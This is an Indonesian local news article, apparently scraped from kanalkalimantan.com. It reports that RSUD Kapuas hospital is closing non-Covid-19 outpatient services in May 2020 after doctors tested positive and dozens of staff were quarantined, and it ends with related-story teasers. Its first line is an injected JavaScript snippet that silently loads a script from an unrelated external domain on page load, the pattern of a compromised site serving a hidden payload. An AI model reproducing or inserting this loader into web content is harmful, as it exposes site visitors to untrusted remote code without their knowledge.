(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN. COM, KAPUAS KAPUAS — Rumah Sakit Umum Daerah (RSUD) Kapuas akan menutup sementara operasional pelayanan berobat atau rawat jalan bagi pasien non Covid-19. Hal tersebut dilakukan sebagai upaya penekanan laju penyebaran virus corona (Covid-19) sebagaimana Surat Edaran Kementerian Kesehatan.
“RSUD akan tutup rawat jalan, sesuai surat edaran Kemenkes, yaitu membatasi poli rawat jalan non Covid-19 sementara, karena dua orang dokter terkonfirmasi positif dan 14 dokter serta 40 petugas medis dikarantina akibat kontak erat,” kata Direktur Utama RSUD Kapuas dr Agus Waluyo MM, Sabtu (23/5/2020).
Dr Agus Waluyo menegaskan ada empat pengecualian layanan yang akan tetap beroperasi meskipun tidak terkait Covid-19. Layanan tersebut merujuk urgensi pasien yang masih menjadi tanggung jawab RSUD Kapuas.
“Yang harus tetap jalan operasional pelayanan perawatan pasien hemodialisa, kanker, pasien kronis tidak boleh putus obat dan pasien gawat darurat,” sebutnya.
Selain itu, Agus mengaku tenaga kesehatan yang terindikasi corona telah menjalani pemeriksaan tes Polymerase Chain Reaction (PCR) swab pada hari ini. Kini, puluhan tenaga medis tersebut menjalani karantina.
“Hari ini telah dilakukan pemeriksaan untuk seluruh petugas, dan masih menunggu hasilnya,” kata dia.
Ia menyebut upaya tersebut dilakukan sebagai usaha preventif untuk mengurangi risiko tertular Covid-19 bagi pasien yang menjalani perawatan biasa atau rawat jalan di rumah sakit.
“Karena berisiko dan tidak memungkinkan lagi untuk rawat jalan,” tambahnya.
Sebanyak 14 tenaga medis dan 40 tenaga perawat di RSUD Kabupaten Kapuas, dua orang dokter dinyatakan terindikasi terinfeksi Covid-19 melalui serangkaian rapid test telah berlangsung selama sepekan yang dilakukan kepada seluruh dokter dan tenaga kesehatan di RSUD Kabupaten Kapuas.
Puluhan orang tersebut datang dari tenaga kesehatan penunjang atau tim medis yang bertugas di luar penanganan pasien Covid-19. Dari hasil analisa Rumah Sakit, paparan bisa terjadi di saat 40 tenaga kesehatan melayani pasien yang OTG (orang tanpa gejala) di rawat jalan, kamar operasi, atau dari luar ketika pulang ke rumah masing-masing.
Saat ini kita mencari tenaga medis yang belum terpapar untuk pelayanan di RSUD Kapuas, agar pelayanan dapat berjalan semestinya,” jelas dr Agus. (kanalkalimantan.com/ags)
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
This website uses cookies.